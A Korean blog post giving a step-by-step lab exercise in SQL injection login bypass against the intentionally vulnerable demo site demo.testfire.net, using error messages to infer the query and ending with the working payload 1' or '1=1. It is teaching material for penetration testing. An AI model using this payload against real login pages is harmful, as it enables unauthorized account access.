모의해킹

로그인 페이지에 대한 인증 우회 간단 실습

공대냥이 2018. 11. 20. 09:29
반응형

실습설명 

논리적 에러를 이용한 SQL Injection. 

공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.


실습 사이트 : http://demo.testfire.net (해당 실습등을 위해 만들어진 사이트라고 보면 된다.)


실습 시작

로그인 페이지에서 ID 와 PW 부분에 " '1 "을 입력한다.
아래 사진과 같은 오류를 확인 할 수 있다.
 

쿼리 구조의 필드이름은 Username, password 이고,

2개의 필드는 AND 구조로 연결되어 있으며,

입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.


추가적인 에러 확인을 위해 "'1 or"를 입력한다.


아래 사진과 같은 오류를 확인 할 수 있다.




 입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.


다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.


 


입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 뒤에 쿼테이션이 누락됨)을 알 수 있다.


입력값(Username/Passowrd)

출력 내용

'1

'1

'username = ''1' AND password = ''1''

계정과 암호 필드의 이름 확인

'1 or

'1 or

'username = ''1 or' AND password = ''1 or''

입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다즉 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다.

1 or '1

1 or '1

'username = '1 or '1' AND password = '1 or '1''

앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다.


(공격용 Username/Password)

1' or '1=1

1' or '1=1

'username = '1' or '1=1' AND password = '1' or '1=1"

위의 단계를 통해 얻은 정보를 바탕으로 뒤에 특수문자 '만 붙여진다면 

'1'(username = '1') 구조가 되어쿼리 구조가 완선된다.


로그인 성공





 


반응형